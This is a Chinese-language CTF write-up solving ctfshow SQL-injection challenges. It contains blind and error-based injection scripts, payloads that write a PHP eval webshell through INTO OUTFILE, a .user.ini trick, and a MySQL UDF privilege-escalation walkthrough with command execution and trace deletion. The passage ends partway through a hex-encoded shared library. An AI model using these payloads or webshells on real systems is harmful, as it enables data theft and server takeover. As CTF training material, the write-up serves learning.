  • 上把盲注脚本直接梭哈,只不过加了个给密码md5加密而已,并没有改变之前代码的性质,我代码跟用户名有关,所以不变
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time# def generateNum(num):
#     res = 'true'
#     if num == 1:
#         return res
#     else:
#         for i in range(num-1):
#             res += "+true"
#         return resurl = "http://258da519-591d-4f61-b9af-c91ccb7af34f.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flagaa'"
#--------查flag
sql= "select group_concat(flagass) from flagaa"
#*************************************************************************************************************************************************************
payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"#计数
n = 0for i in range(1, 666):for j in str:params = {'username' : payload.format(sql,i,j),'password' : "{}".format(i)}res = requests.post(url = url, data = params)if r"\u66f4\u65b0\u6210\u529f" in res.text:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

注意,用了第一种方法的时候不要用第二种方法,容易打乱代码条件,同样的第二种方法也就是加了个括号paylaod

username=ctfshow&password=12'),username=(database())#

web233

  • 发现连着三题都可以用第一个盲注脚本跑出来,继续梭哈
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time# def generateNum(num):
#     res = 'true'
#     if num == 1:
#         return res
#     else:
#         for i in range(num-1):
#             res += "+true"
#         return resurl = "http://8feb46d5-de26-4836-807f-3d7218bcb7ae.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'"
#--------查flag
sql= "select group_concat(flagass233) from flag233333"
#*************************************************************************************************************************************************************payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"#计数
n = 0for i in range(1, 666):for j in str:params = {'username' : payload.format(sql,i,j),'password' : "{}".format(i)}res = requests.post(url = url, data = params)if r"\u66f4\u65b0\u6210\u529f" in res.text:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web234

  • 脚本跑不动了,过滤了单引号,这题考的是\实现单引号逃逸
原来的语句
update ctfshow_user set pass =
'{$password}' where username = '{$username}';
加上\逃逸单引号
update ctfshow_user set pass =
'\' where username = '{$username}';
pass里面的内容则变成' where username =
username里面的值我们可以随意控制

查表payload

username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=\

查字段payload

username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666C6167323361)#&password=\

flag

username=,username=(select group_concat(flagass23s3) from flag23a)#&password=\

web235

  • 这题过滤了information,ban了or和’,我们只能去找mysql里面的可以查表的表mysql.innodb_table_stats但是发现找不到其他里面包含字段的表了。所以只能想到无列名注入

可以参考一下

概述MySQL统计信息
CTF|mysql之无列名注入

查表

username=,username=(select group_concat(table_name) from mysql.innodb_table_stats )#&password=\

payload查flag

username=,username=(select `2` from (select 1,2,3 union select * from flag23a1)a limit 1,1) #&password=\

web236

  • 他多过滤了一个flag,一样可以用上一个payload
username=,username=(select `2` from (select 1,2,3 union select * from flaga)a limit 1,1) #&password=\

我感觉没过滤,如果真过滤了,也可以base64转过去

username=,username=(select to_base64(`2`) from (select 1,2,3 union select * from flaga)a limit 1,1) #&password=\

web237

  • 经典insert注入

查表

password=gylq&username=gylqtest',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#

查字段

password=gylq&username=gylqtest',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'));#

查flag

password=gylq&username=gylqtest',(select flagass23s3 from flag));#

web238

  • 过滤了空格,用括号

查表

password=gylq&username=gylqtest',(select(group_concat(`table_name`))from(information_schema.tables)where`table_schema`=database()))#

查字段

password=gylq&username=gylqtest',(select(group_concat(`column_name`))from(information_schema.columns)where`table_schema`=database()and`table_name`='flagb'))#

查flag

password=gylq&username=gylqtest',(select(flag)from(flagb)))#

web239

  • 过滤了information,空格

查表

password=gylq&username=gylqtest',(select(group_concat(table_name))from(mysql.innodb_table_stats)))#

拼不出来flag,无列名我无能为力

查flag,猜弱flag名称

username=1',(select`flag`from`flagbb`));#&password=1

web240

  • 这题明显是让我们写个爆破py,安排啊
Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requestsurl="http://108f39e9-3737-4b40-9285-4441a3360741.challenge.ctf.show:8080/api/insert.php"
flag="flag"
str="ab"
payload="gylq',(select(group_concat(flag))from({})))#"for a in str:for b in str:for c in str:for d in str:for e in str:random=flag+a+b+c+d+edata = {'username' : payload.format(random) ,'password' : "flag"}res = requests.post(url,data)

跑一下就可以看到结果

web241

  • 一开始想快速了解直接写了个布尔盲注,想着有21条数据,直接写了个布尔盲注的代码,结果只能查出flag前几位,由于环境无法插入,所以只能查出表和字段,但是flag拿不全。

这是可以查表和字段的布尔盲注,不过可利用价值不高,只能查出flag一部分,可以学习,注意:这个代码无法查出结果

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time# def generateNum(num):
#     res = 'true'
#     if num == 1:
#         return res
#     else:
#         for i in range(num-1):
#             res += "+true"
#         return resurl = "http://6786d08e-8031-4544-aa67-f4b3028d2c8d.challenge.ctf.show:8080/api/delete.php"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#--------查flag
#sql= "select flagasabc from ctfshow_flagas"
#*************************************************************************************************************************************************************
payload = "{} and  if(substr((select group_concat(flag) from flag),{},1)='{}',1,0)"#计数
n = 0for i in range(20, 44):k=i-19for j in str:params = {'id' : payload.format(k,i,j)}res = requests.post(url = url, data = params)if r"\u5220\u9664\u6210\u529f" in res.text:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

实际去环境试了下

delete from users where id=sleep(0.20)
这样是可以达到延时

所以这题应该是时间盲注。好了直接上脚本

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time# def generateNum(num):
#     res = 'true'
#     if num == 1:
#         return res
#     else:
#         for i in range(num-1):
#             res += "+true"
#         return resurl = "http://f0b20d14-9c8f-49ed-8808-2ebc4115c907.challenge.ctf.show:8080/api/delete.php"str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"flag = ""#*************************************************************************************************************************************************************
#--------查库名
#sql="database()"
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'"
#--------查flag
sql= "select flag from flag"
#*************************************************************************************************************************************************************
payload = "if(substr(({}),{},1)='{}',sleep(0.1),0)"#计数
n = 0for i in range(1,666):for j in str:data = {'id' : payload.format(sql,i,j)}start = time.time()res = requests.post(url = url, data = data)end = time.time()if end-start > 2 and end-start < 3:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

web242

  • 到了file模块了,首先我们先了解一下关于file的形式,做这题前,先了解一些预备知识

我们到本地进行测试一下file的功能

首先第一个我们了解一下字段分隔符

FIELDS TERMINATED BY‘,‘字段间分割符
OPTIONALLY ENCLOSED BY‘"‘将字段包围 对数值型无效--未测试

利用字段分隔符在本地写一句话木马

可以发现很好的写入成功

我们再学习一个将每一条记录使用换行符

LINES TERMINATED BY‘\n‘ 换行符
select * from users into outfile "D:/phpstudy8/WWW/dump/1.txt" LINES TERMINATED BY '<?php eval(REQUEST[1]);?>'

明显将一句话木马写入

我们看一下题目

  //备份表$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

这题明显就有两种做法,我们用分隔符做

payload

filename=7.php' FIELDS TERMINATED BY '<?php eval($_REQUEST[1]);?> ' #

这题我眼瞎,找flag半天,没发现flag在根目录,结果以为在数据库里面,因为权限不够,我在dump目录下写了个数据库连接以及查询的语句

<?phperror_reporting(0);
require_once "config.php";
$ua = $_SERVER['HTTP_USER_AGENT'];$filename = $_POST['filename'];$num = 1;
$ret = array("code"=>0,"msg"=>"导出失败","count"=>$num,"data"=>array()
);if(isset($filename)){$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);if(mysqli_connect_errno()){die(json_encode(array(mysqli_connect_error())));}$conn->query("set name $charName");$sql = "select * from ctfshow_user where username={$filename};";$conn->query("set name $charName");$result = $conn->query($sql);while ($row = mysqli_fetch_array($result)){  echo "u:".$row['username'];echo "p:".$row['pass'];}if(mysqli_affected_rows($conn)){$ret['msg']="导出{$filename}成功";}else{$ret['msg']="导出{$filename}失败";}mysqli_close($conn);
}echo json_encode($ret);

然后利用自己写的一个盲注脚本跑了整个数据库,没找到脚本,最后才发现在根目录,脚本上来

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time# def generateNum(num):
#     res = 'true'
#     if num == 1:
#         return res
#     else:
#         for i in range(num-1):
#             res += "+true"
#         return resurl = "http://9c4ff2fb-3479-4628-be92-f7dff3560001.challenge.ctf.show:8080/dump/dump.php"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'"
#--------查flag
#sql= "select group_concat(flagass233) from flag233333"
#*************************************************************************************************************************************************************payload = "'ctfshow' and if(substr(({}),{},1)='{}',1,0)"#计数
n = 0for i in range(1, 666):for j in str:params = {'filename' : payload.format(sql,i,j),}res = requests.post(url = url, data = params)if "u:ctfshowp" in res.text:flag += jn += 1print('[*] 开始盲注第{}位'.format(n))print(flag)if j == "}":print('[*] flag is {}'.format(flag))exit()break

简简单单的找flag,我搞成了代码审计。这两个代码仅供娱乐。只能扒光数据库,但是找不到flag。注意:flag在根目录o(╥﹏╥)o

web243

  • 过滤了php,这时候我们想到了用户自定义.user.ini函数,刚刚好他这个dump目录下有一个Index.php文件,所以我们可以直接梭哈
0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A ==> \nauto_prepend_file=gylq.jpg

首先上传一个图片文件

filename=gylq.jpg' LINES TERMINATED BY 0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A#

在上传.user.ini文件

filename=.user.ini' LINES TERMINATED BY 0x0A6175746F5F70726570656E645F66696C653D67796C712E6A70670A#

接着访问index.php

getshell拿flag

web244

  • 终于来到报错模块了
 //备份表$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

经典报错注入拿表

http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23

拿字段

http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag')),1)%23

拿flag

左半边flag
ctfshow{5079b895-164f-4ea3-9e0e
右半边flag
5-164f-4ea3-9e0e-553ff35fee35}
删除重合的部分
ctfshow{5079b895-164f-4ea3-9e0e-553ff35fee35}

web245

  • 过滤了update,可以积累一下报错注入的语句
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

拿表

http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

拿字段

http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa')))#

拿flag

前部分
ctfshow{b2cc23cb-316b-4cea-b9ea
语句
http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(flag1) from ctfshow_flagsa)))%23
后部分
a-b9ea-9807145c946a}
语句
http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select right(group_concat(flag1),20) from ctfshow_flagsa)))%23
重复部分删除
ctfshow{b2cc23cb-316b-4cea-b9ea-9807145c946a}

web246

  • 过滤多加了个extractvalue,换一个方法,用group by报错方法,不过group by报错方法有and联合,还有union联合两种方法,都展示一下

查字段

http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flags' limit 1,1),floor(rand(0)*2))) %23

flag,没有长度限制

http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select flag2 from ctfshow_flags limit 0,1),floor(rand(0)*2))) %23

union报错查询查flag

http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2)) a from information_schema.tables group by a %23

web247

  • 过滤了向下取整floor,没过滤ceil向上取整
http://b89fec88-85a4-4e59-b9b2-d6c71204e161.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))) %23

web248

  • 考点udf注入

一、什么是udf

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

udf 文件后缀一般为 dll,由C、C++编写

二、udf在渗透中的作用

在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。

三、利用条件

利用udf的条件其实还是挺苛刻的

mysql用户权限问题

  • 获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。

  • 拥有将udf.dll写入相应目录的权限。

四、数据库版本问题

udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:

版本 路径
MySQL < 5.0 导出路径随意;
5.0 <= MySQL< 5.1 需要导出至目标服务器的系统目录(如:c:/windows/system32/)
5.1 < MySQL 必须导出到MySQL安装目录下的lib\plugin文件夹下

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

五、本地利用过程

1、获取Mysql安装路径

select @basedir

2、查看可操作路径

show global variables like "%secure%"

secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径

3、查看plugin目录路径

select @@plugin_dir

4、将dll上传方式推荐几种

将dll上传到安装路径的方式:

通过webshell上传

以hex方式直接上传

sqlmap中现有的udf文件,分为32位和64位,一定要选择对版本,获取sqlmap的udf方式

5、sqlmap中udf获取方式

自动化注入工具Sqlmap已经集成了此功能。

在 \sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_

  • 但是sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用

可以利用sqlmap 自带的解码工具cloak.py,在sqlmap\extra\cloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码在,然后在直接利用,输入下面的

cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件lib_mysqludf_sys.dll,这个我们就可以直接拿来利用

攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

以我windows系统为例,mysql版本为MySQL5.7.26

注意:攻击过程中,首先需要将lib_mysqludf_sys ( 目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。

  • 直接将刚刚生成的64位windows的dll文件复制到D:\phpstudy8\Extensions\MySQL5.7.26\lib\plugin中,然后再mysql中执行以下语句
create function sys_eval returns string soname 'udf.dll'

  • 然后就可以任意命令执行了

  • sys_eval,执行任意命令,并将输出返回。

    sys_exec,执行任意命令,并将退出码返回。

    sys_get,获取一个环境变量。

    sys_set,创建或修改一个环境变量。

select sys_eval('ipconfig')

六、实战情况之一,hex编/解传入mysql系统提权

  • 本地利用的情况,你得已经上传webshell的情况下才能成功。如果你在sql实战中遇到可以使用outfile等上传文件的情况下,如何利用来系统权限命令执行。下面我们先熟悉一下本地测试一下具体情况

为了将这个转换为十六进制,可以借助mysql中的hex函数,先将udf.dll移动到C盘中,这样路径也清晰一些,然后执行下面命令

select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'

成功生成了十六进制形式流

接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

一、新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。

create table udftmp (c BLOB)

二、在udftmp中写入udf文件内容

INSERT INTO udftmp values(unhex('udf文件的16进制格式'))

三、将udf文件内容传入新建的udf文件中,路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

select c from udftmp into dumpfile 'D:/phpstudy8/Extensions/MySQL5.7.26/lib/plugin/udf.dll'

四、执行下面语句,就可以system权限下命令任意执行,这电脑就沦陷了,执行命令上面已经说过,就不复述了

create function sys_eval returns string soname 'udf.dll'

五、删除痕迹,做好事不留名

DROP TABLE udftmp
SELECT sys_eval('ipconfig');
返回网卡信息

本地实践了之后,基础知识差不多了解我们做一个实战靶场

题目代码

  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
  • 测试了一下,明显存在堆叠注入,刚好可以利用堆叠注入,来进行udf来进行命令执行,测试,过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等

好了,废话不多说直接看一下@@plugin_dir的路径来命令执行

目录/usr/lib/mariadb/plugin/

对方是linux,当然写 一个脚本跑会快一些,我先手工实操一遍,之后就用脚本梭哈,首先根据我之前的方法生成64位linux的udf.so的十六进制形式

由于这是get传参,是有长度限制的,16081的超过限制,会直接被ban了,所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分

接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中

select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt'

为了确认我们是否已经导入load_file来判断

select load_file('/usr/lib/mariadb/plugin/a.txt')

明显导入成功,照葫芦画瓢,将剩下的b和c导入进去

当明显确定已经都导入成功了a、b、c三部分udf十六进制内容,接着来就是导入so到这个目录就可以命令执行

select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'

最后我们创建sys_eval这个函数来进行命令执行

create function sys_eval returns string soname 'udf.so'

明显获得了命令执行的权限

我们可以看看ip配置

接着就拿这题的flag

但是这样就有点慢了,我写个脚本。很快的,大家可以参考一下

import requestsurl="http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/"
payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+"
acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+"
text = ['a','b','c','d']udf="7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200457